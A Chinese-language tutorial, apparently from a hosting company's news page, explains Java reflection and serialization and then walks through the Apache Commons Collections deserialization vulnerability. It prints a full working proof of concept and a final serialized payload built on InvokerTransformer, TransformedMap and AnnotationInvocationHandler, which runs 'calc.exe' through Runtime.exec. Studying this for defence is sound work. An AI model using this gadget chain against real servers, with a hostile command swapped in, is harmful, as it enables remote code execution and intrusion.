您好,登錄后才能下訂單哦!
本篇文章為大家展示了Java中怎么實現反序列化漏洞,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
在Java中,可以通過java.lang.Runtime類方便的調用操作系統命令,或者一個可執行程序。
public class RuntimeTest { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); runtime.exec("calc.exe"); } }
如上代碼,可以打開windows系統的計算器。
反射機制允許程序在運行期借助于Reflection API取得任何類的內部信息,并能直接操作任意類和對象的所有屬性及方法。
要使用一個類,就要先把它加載到虛擬機中,在加載完類之后,堆內存的方法區中就產生了一個Class類型的對象(一個類只有一個class對象),這個對象就包含了完整的類的結構信息,我們可以通過這個對象看到類的結構,這個對象就像一面鏡子,透過鏡子可以看到類的結構,所以形象的稱之為:反射。
反射中會經常使用到的方法:
1、獲取Class實例的方式 方式1:調用運行時類的屬性 .class 方式2:通過運行時的對象調用getClass() 方式3:調用Class的靜態方法:forName(String classPath) 方式4:使用類的加載器 classloader 2、創建運行時類的對象 newInstance() 調用此方法,創建對應的運行時類的對象 3、獲取運行時類的結構 getFields() 獲取當前運行時類及其父類中聲明為public訪問權限的屬性 getDeclaredFields() 獲取當前運行時類中聲明的所有屬性,不包含父類 getMethods() 獲取當前運行時類及其所有父類聲明為public的方法 getDeclaredMethods() 獲取當前運行時類中聲明的方法,不包含父類 getConstructors() 獲取當前運行時類聲明為public的構造器 getDeclaredConstructors() 獲取當前運行時類中聲明的所有構造器 invoke()方法允許調用包裝在當前Method對象中的方法
反射示例:
如下代碼中,Object i = m1.invoke(r1, 1, 2)的作用是:使用r1調用m1獲得的對象所聲明的公開方法即print,并將int類型的1,2作為參數傳入。
import java.lang.reflect.Method; public class test { public static void main(String[] args) { Reflect r1=new Reflect(); //通過運行時的對象調用getClass(); Class c=r1.getClass(); try { //getMethod(方法名,參數類型) //getMethod第一個參數是方法名,第二個參數是該方法的參數類型 //因為存在同方法名不同參數這種情況,所以只有同時指定方法名和參數類型才能唯一確定一個方法 Method m1 = c.getMethod("print", int.class, int.class); //相當于r1.print(1, 2);方法的反射操作是用m1對象來進行方法調用 和r1.print調用的效果完全相同 //使用r1調用m1獲得的對象所聲明的公開方法即print,并將int類型的1,2作為參數傳入 Object i = m1.invoke(r1, 1, 2); }catch (Exception e){ e.printStackTrace(); } } } class Reflect{ public void print(int a,int b){ System.out.println(a+b); } }
使用反射機制執行命令:
此處invoke(runtime,"calc.exe")的作用為:使用runtime調用獲得的Method對象所聲明的公開方法即exec,并將calc.exe作為參數傳入,而runtime為獲取的Runtime.getRuntime實例對象。因此,此處代碼相當于執行了Runtime.getRuntime( ).exec("calc.exe")。
熟悉這塊的操作,后面會以此完成攻擊鏈:
public class RuntimeTest { public static void main(String[] args) throws Exception { //forName(類名) 獲取類名對應的Class對象,同時將Class對象加載進來。 //getMethod(方法名,參數類型列表) 根據方法名稱和相關參數,來定位需要查找的Method對象并返回。 //invoke(Object obj,Object...args) invoke允許調用包裝在當前Method對象中的方法 Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //獲取一個Runtime的實例對象 //調用Runtime實例對象的exec()方法,并將calc.exe作為參數傳入 Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc.exe"); } }
如上,通過Java反射機制打開windows的計算器。
Java中為什么要使用反射機制,直接創建對象不是更方便?
如果有多個類,每個用戶所需求的對象不同,直接創建對象,就要不斷的去new一個對象,非常不靈活。而java反射機制,在運行時確定類型,綁定對象,動態編譯最大限度發揮了java的靈活性。
Java序列化是指把Java對象轉換為字節序列的過程,便于保存在內存、文件、數據庫中。
即:對象—>字節流 (序列化)
Java反序列化即序列化的逆過程,由字節流還原成對象。
即:字節流—>對象(反序列化)
序列化的好處在于可將任何實現了Serializable接口的對象轉換為字節數據,使其保存和傳輸時可被還原。
反序列化的操作函數:
java.io.ObjectOutputStream類中的writeObject( )方法可以實現Java序列化。
java.io.ObjectInputStream類中的readObject( )方法可以實現Java反序列化。
想一個Java對象是可序列化的,需要滿足相應的要求:
1、實現Serializable接口或Externalizable接口 2、當前類提供一個全局常量 serialVersionUID 3、必須保證其內部所有屬性也必須是可序列化的(默認情況下,基本數據類型可序列化) 4、ObjectInputStream和ObjectOutputStream不能序列化static和transient修飾的成員變量
Java反序列化示例:
import java.io.*; public class Serialize { public static void main(String[] args) throws Exception { //序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hello.txt")); oos.writeObject(new String("序列化")); oos.close(); //反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hello.txt")); Object o = ois.readObject(); String s = (String) o; ois.close(); System.out.println(s); } }
反序列化漏洞成因:
序列化指把Java對象轉換為字節序列的過程,反序列化就是打開字節流并重構對象,那如果即將被反序列化的數據是特殊構造的,就可以產生非預期的對象,從而導致任意代碼執行。
Java中間件通常通過網絡接收客戶端發送的序列化數據,而在服務端對序列化數據進行反序列化時,會調用被序列化對象的readObject( )方法。而在Java中如果重寫了某個類的方法,就會優先調用經過修改后的方法。如果某個對象重寫了readObject( )方法,且在方法中能夠執行任意代碼,那服務端在進行反序列時,也會執行相應代碼。
如果能夠找到滿足上述條件的對象進行序列化并發送給Java中間件,Java中間件也會去執行指定的代碼,即存在反序列化漏洞。
Java集合框架是對多個數據進行存儲操作的結構,其主要分為Collection和Map兩種體系:
Collection接口:單例數據,定義了存取一組對象的方法的集合 Map接口:雙列數據,保存具有映射關系“Key-value”的集合
Apache Commons Collections:一個擴展了Java標準庫里集合框架的第三方基礎庫。它包含有很多jar工具包如下圖所示,它提供了很多強有力的數據結構類型并且實現了各種集合工具類。
Apache Commons Collections反序列化漏洞的主要問題在于Transformer這個接口類,Transformer類可以滿足固定的類型轉化需求,其轉化函數可以自定義實現,漏洞點就在這里。
目前已知實現了Transformer接口的類,如下所示。而在Apache Commons Collections反序列漏洞中,會使用到ChainedTransformer、ConstantTransformer、InvokerTransformer這三個類,這些類的具體作用我們在下面結合POC來看。在遠程調用前,我們先看本地的POC:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class ApacheSerialize1 { public static void main(String[] args) throws Exception { //1、創建Transformer型數組,構建漏洞核心利用代碼 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //2、將transformers數組存入ChaniedTransformer類 Transformer transformerChain = new ChainedTransformer(transformers); //3、創建Map,給予map數據轉化鏈 Map innerMap = new HashMap(); innerMap.put("key", "value"); //給予map數據轉化鏈,該方法有三個參數: // 第一個參數為待轉化的Map對象 // 第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空) // 第三個參數為Map對象內的value要經過的轉化方法(可為單個方法,也可為鏈,也可為空) Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); //4、觸發漏洞利用鏈,利用漏洞 onlyElement.setValue("test"); } }
該POC從上至下大致分為四點,我們以此四點為基礎進行分析:
1、創建transformers數組,構建漏洞核心利用代碼。
2、將transformers數組存入ChaniedTransformer類。
3、創建Map,給予map數據轉化鏈
4、觸發漏洞利用鏈,利用漏洞
此處創建了一個Transformer類型的數組,其中創建了四個對象。這四個對象分別使用了ConstantTransforme和InvokerTransformer兩個類。
ConstantTransformer:把一個對象轉化為常量,并返回。
InvokerTransformer:通過反射,返回一個對象。
代碼如下:
此處,先不研究里面的具體參數有何作用,只需明確此處創建了一個Transformer類型的數組,其中創建了四個對象,我們接著往下看。
此處創建了一個ChainedTransformer對象,并將transformers數組作為參數傳入。
ChainedTransformer類:把一些transformer鏈接到一起,構成一組鏈條,對一個對象依次通過鏈條內的每一個transformer進行轉換。
繼續往下看。
此處代碼較多,我們拆開看。
先是創建Map類,添加了一組數據("key", "value")。前文有提到,Map是具有映射關系 Key-value的集合,一個鍵值對:kay-value構成了一個Entry對象。
接著是給予map實現類的數據轉化鏈。而在Apache Commons Collections中實現了TransformedMap類,該類可以在一個元素被添加/刪除/或是被修改時,會調用transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。即就是當數據發生改變時,可以進行一些提前設定好的操作。
也就是說,此處的代碼是給予Map數據轉化鏈,當Map里的數據發生改變時,會進行轉換鏈設定好的操作,如下有三個參數:
此處TransformedMap調用了decorate( )方法,創建了TransformedMap對象。參數1 ,innerMap作為參數調用了父類AbstractInputCheckedMapDecorator的構造函數,保存為this.map變量。參數2為null。參數3,transformerChain被初始化為this.valueTransformer變量。
TransformedMap類相關代碼如下:
然后獲取outerMap的第一個鍵值對(key,value),然后轉化成Map.Entry形式,前文也提到一個kay-value構成一個Entry對象。
最后利用Map.Entry取得第一個值,調用修改值的函數,觸發下面的setValue( )代碼。
接著上面分析,繼續跟進setValue( )函數,會進入到AbstractInputCheckedMapDecorator類。此時setValue( )方法會檢查要被修改的元素,進入到TransformedMap的轉換鏈。
跟進setValue()里的this.parent.checkSetValue(value),跳到TransoformedMap類,this.parent為TransformedMap類的對象outerMap。
AbstractInputCheckedMapDecorator類相關代碼如下:
跳到TransoformedMap類。
此時的this.valueTransformer就是transformerChain,之后就會觸發漏洞利用鏈。而transformerChain就是在上面POC第二點代碼生成的ChainedTransformer對象,其中傳入了transformers數組,transformers數組為POC第一點構造的漏洞利用核心代碼。
TransoformedMap類相關代碼如下:
由于valueTransformer為transformerChain,因此上面代碼中的this.valueTransformer.transform(value)會調用ChainedTransformer類的transform方法。
此時我們構造好的含有利用代碼的transformers數組會循環進入此處,先調用1次ConstantTransformer類,再調用3次InvokerTransformer類。
需要注意在數組的循環中,前一次transform函數的返回值,會作為下一次transform函數的object參數輸入。
ChainedTransformer類相關代碼如下:
第一次循環:
首先是去調用ConstantTransformer類的transform方法,將Runtime.class保存為this.iConstant變量,并將返回值作為下一次transform函數的object參數輸入。
ConstantTransformer類相關代碼如下:
第二次循環:
調用InvokerTransformer類的transform( )方法,此時transform的object參數,即java.lang.Runtime。
先看InvokerTransformer的構造函數:
第一個是字符串,是調用的方法名
第二個是個Class數組,是方法的參數的類型
第三個是Object數組,是方法的參數的具體值
進入到InvokerTransformer類的transform方法,非常明顯的反射機制。此處,input為transform的object參數為java.Lang.Runtime。
此處就相當于:
method = input.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});
即java.Lang.Runtime.getMethod("getRuntime",null),返回一個Runtime.getRuntime( )方法,相當于產生一個字符串,但還沒有執行"Rumtime.getRuntime( );"。
第三次循環:
同樣進入到InvokerTransformer類的transform( )方法,input為上次循環的返回值Runtime.getRuntime( )。
此時就相當于:
method = input.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()", new Object[] {null, new Object[0]});
即Runtime.getRuntime( ).invoke(null)
,那么會返回一個Runtime對象實例。相當于執行了完成了:
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
第四次循環:
同樣進入到InvokerTransformer類的transform方法,input為上次循環的返回值Runtime.getRuntime( ).invoke(null)。
此時就相當于:
method = input.getClass().getMethod("exec", new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});
即Runtime.getRuntime( ).exec("calc.exe")。至此成功完成漏洞利用鏈,執行系統命令語句,觸發漏洞。
最后整理整個過程:
1、transform數組里面含有4個實現了Transformer接口的對象,這四個對象都重寫了transform()方法
2、ChianedTransformer里面裝了4個transform,ChianedTransformer也實現了Transformer接口,同樣重寫了transform()方法
3、TransoformedMap綁定了ChiandTransformer,給予map數據轉化鏈,當map里的數據進行修改時,需經過ChiandTransformer轉換鏈
4、利用TransoformedMap的setValue修改map數據,觸發ChiandTransformer的transform()方法
5、ChianedTransformer的transform是一個循環調用該類里面的transformer的transform方法
loop 1:第一次循環調用ConstantTransformer("java.Runtime")對象的transformer方法,調用參數為"test"(正常要修改的值),返回了java.Runtime作為下一次循環的object參數
loop 2:第二次循環調用InvokerTransformer對象的transformer,參數為("java.Runtime"),包裝Method對象"getMethod"方法,invoke方法獲得對象所聲明方法"getRuntime",利用反射,返回一個Rumtime.getRuntime()方法
loop 3:第三次循環調用InvokerTransformer對象的transformer,參數為("Rumtime.getRuntime()"),包裝Method對象"invoke"方法,利用反射,返回一個Rumtime.getRuntime()實例
loop 4:第四次循環調用InvokerTransformer對象的transformer,參數為一個Runtime的對象實例,包裝Method對象"exec"方法,invoke方法獲得對象所聲明方法"calc.exe",利用反射,執行彈出計算器操作
目前的POC只是被執行了,我們要利用此漏洞,就需要通過網絡傳輸payload,在服務端對我們傳過去的payload進行反序列時執行代碼。而且該POC的關鍵依賴于Map中某一項去調用setValue( ) ,而這完全不可控。
因此就需要尋找一個可序列化類,該類重寫了readObject( )方法,并且在readObject( )中進行了setValue( ) 操作,且這個Map變量是可控的。需要注意的時,在java中如果重寫了某個類的方法,就會優先調用經過修改后的方法。
在java中,確實存在一個類AnnotationInvocationHandler,該類重寫了readObject( )方法,并且執行了setValue( )操作,且Map變量可控,如果可以將TransformedMap裝入這個AnnotationInvocationHandler類,再傳過去,服務端在對其進行反序列化操作時,就會觸發漏洞。最后利用的payload如下:
package Serialize; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class ApacheSerialize implements Serializable { public static void main(String[] args) throws Exception{ //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作 Transformer transformerChain = new ChainedTransformer(transformers); //Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比于python的dict Map map = new HashMap(); map.put("value", "test"); //Map數據結構,轉換后的Map /* TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。 第一個參數為待轉化的Map對象 第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空) 第三個參數為Map對象內的value要經過的轉化方法。 */ //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null)); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); //反射機制調用AnnotationInvocationHandler類的構造函數 //forName 獲得類名對應的Class對象 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通過反射調用私有的的結構:私有方法、屬性、構造器 //指定構造器 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //取消構造函數修飾符限制,保證構造器可訪問 ctor.setAccessible(true); //獲取AnnotationInvocationHandler類實例 //調用此構造器運行時類的對象 Object instance=ctor.newInstance(Target.class, transformedMap); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close(); System.out.println(result); } }
可以觸發。
我們來研究最終payload新加的部分:
新加部分代碼的前四部分不是很難理解。使用反射去調用AnnotationInvocationHandler類,并且指定了具體參數類型為(Class.class, Map.class)的構造器。之后再使用newInstance調用指定構造器運行時類的對象,并將(Target.class, transformedMap)作為參數傳入。
查看AnnotationInvocationHandler類,反射調用的構造器如下:
其中var1為Target.class,var2為transformedMap,var1.getInterfaces( )為獲取當前類顯式實現的接口,即獲取Target類顯式實現的接口。
Target類使用了@interface自定義注解,而@interface自定義注解自動繼承了java.lang.annotation.Annotation這一個接口,由編譯程序自動完成其他細節。因此符合if語句判斷,生成AnnotationInvocationHandler類實例。
Target類代碼如下:
進入payload序列化和反序列部分,主要是看反序列化的readObject( )部分,打開字節流并重構對象,此時的對象即AnnotationInvocationHandler類實例。
前文提到在java中如果重寫了某個類的方法,就會優先調用經過修改后的方法,而AnnotationInvocationHandler類重寫了readObject( )方法,因此反序列化時會優先調用該類中的readObject( )方法。
跟進AnnotationInvocationHandler類的readObject( )方法,此時的var1為實例化的AnnotationInvocationHandler類對象,之后會觸發setValue( )造成命令執行。
AnnotationInvocationHandler類相關代碼如下:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { .................... AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { //this.type為Target.class this.type = var1; //this.memberValues為transformedMap this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } } ....................... private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { //1、defaultReadObject(),從var1讀取當前類的非靜態和非瞬態字段 var1.defaultReadObject(); AnnotationType var2 = null; try { //this.type為實例化時傳入的Target.class //2、getInstance獲取到@Target類的方法等基本信息。 var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } //3、獲取到Target類的注解元素 即{value:ElementType}鍵值對 Map var3 = var2.memberTypes(); //4、this.memberValues為實例化時傳入的transformedMap,獲取構造map的迭代器 Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { //獲取到map的第一個鍵值對 {value:test} Entry var5 = (Entry)var4.next(); //獲取到map第一個鍵值對 {value:test}的key 即value String var6 = (String)var5.getKey(); //從@Target的注解元素 {value:ElementType}鍵值對中去尋找鍵名為value的值 Class var7 = (Class)var3.get(var6); if (var7 != null) { //獲取到map第一個鍵值對 {value:test}的value 即test Object var8 = var5.getValue(); //isInstance表示var8是否能強轉為var7 instanceof表示var8是否為ExceptionProxy類型 //兩個都為否,進入到if條件語句內部 if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //觸發setValue var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } }
至此,完成漏洞利用。
在測試的時候,未使用AnnotationInvocationHandler類時,map可以put時key可以隨意設置,如上文POC中的map.put("key", "value")。
但在調用AnnotationInvocationHandler類時就必須設置為value。
主要原因如下:
需要注意的是在AnnotationInvocationHandler類相關代碼的var2 = AnnotationType.getInstance(this.type)部分,this.type為實例化時傳入的Target.class。
跟進,進入到AnnotationType類的getInstance( )方法,其中var2為var1返回該元素Target類型的注釋,而var1中沒有此注釋,返回null,進入到判斷語句,此時會實例化一個AnnotationType對象,并將var0作為參數傳入。
繼續跟進AnnotationType類的AnnotationType( ),其中var1為Target.class,此時獲取的Target類的全部方法等基本信息,其中this.memberTypes為獲取到的Target類的全部方法,而Target.class只定義了一個名為value的方法(快捷方式,限制了元素名必須為value)。
public class AnnotationType { ................... private AnnotationType(final Class<? extends Annotation> var1) { if (!var1.isAnnotation()) { throw new IllegalArgumentException("Not an annotation type"); } else { //獲取到Target.class的全部方法 Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { return var1.getDeclaredMethods(); } }); //底層創建了長度是var2長度加1的一維數組,加載因子為1.0(擴容時才會用到) this.memberTypes = new HashMap(var2.length + 1, 1.0F); this.memberDefaults = new HashMap(0); this.members = new HashMap(var2.length + 1, 1.0F); Method[] var3 = var2; int var4 = var2.length; //遍歷var2,即獲取到的Target.class的全部方法 for(int var5 = 0; var5 < var4; ++var5) { Method var6 = var3[var5]; if (var6.getParameterTypes().length != 0) { throw new IllegalArgumentException(var6 + " has params"); } //獲取方法的名稱 String var7 = var6.getName(); //獲取方法的返回值類型 Class var8 = var6.getReturnType(); //將方法的名稱和返回值類型以鍵值對的形式傳入 //Target.class只有一個方法{value:ElementType} this.memberTypes.put(var7, invocationHandlerReturnType(var8)); this.members.put(var7, var6); Object var9 = var6.getDefaultValue(); if (var9 != null) { this.memberDefaults.put(var7, var9); } } if (var1 != Retention.class && var1 != Inherited.class) { JavaLangAccess var10 = SharedSecrets.getJavaLangAccess(); Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class}); Retention var12 = (Retention)var11.get(Retention.class); this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value(); this.inherited = var11.containsKey(Inherited.class); } else { this.retention = RetentionPolicy.RUNTIME; this.inherited = false; } } } ....................... public Map<String, Class<?>> memberTypes() { return this.memberTypes; } ....................... }
根據上面代碼追蹤到,this.memberTypes為獲取到的Target.class的全部方法,可以看到主要在String var6 = (String)var5.getKey( )為獲取到map第一個鍵值對{value:test}的key即value,var7會從獲取到Target的全部方法{value:ElementType}鍵值對中去尋找鍵名為var6的值,如果獲取不到就不會進入到setValue( )方法,因此必須設置map的key為value。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { .................... //3、獲取到Target類的注解元素 即{value:ElementType}鍵值對 Map var3 = var2.memberTypes(); //4、獲取構造map的迭代器 Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { //獲取到map的第一個鍵值對 {value:test} Entry var5 = (Entry)var4.next(); //獲取到map第一個鍵值對 {value:test}的key 即value String var6 = (String)var5.getKey(); //從獲取到Target的全部方法 {value:ElementType}鍵值對中去尋找鍵名為value的值 Class var7 = (Class)var3.get(var6); if (var7 != null) { //獲取到map第一個鍵值對 {value:test}的value 即test Object var8 = var5.getValue(); //isInstance表示var8是否能強轉為var7 instanceof表示var8是否為ExceptionProxy類型 //兩個都為否,進入到if條件語句內部 if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //觸發setValue var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } .................... }
上述內容就是Java中怎么實現反序列化漏洞,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。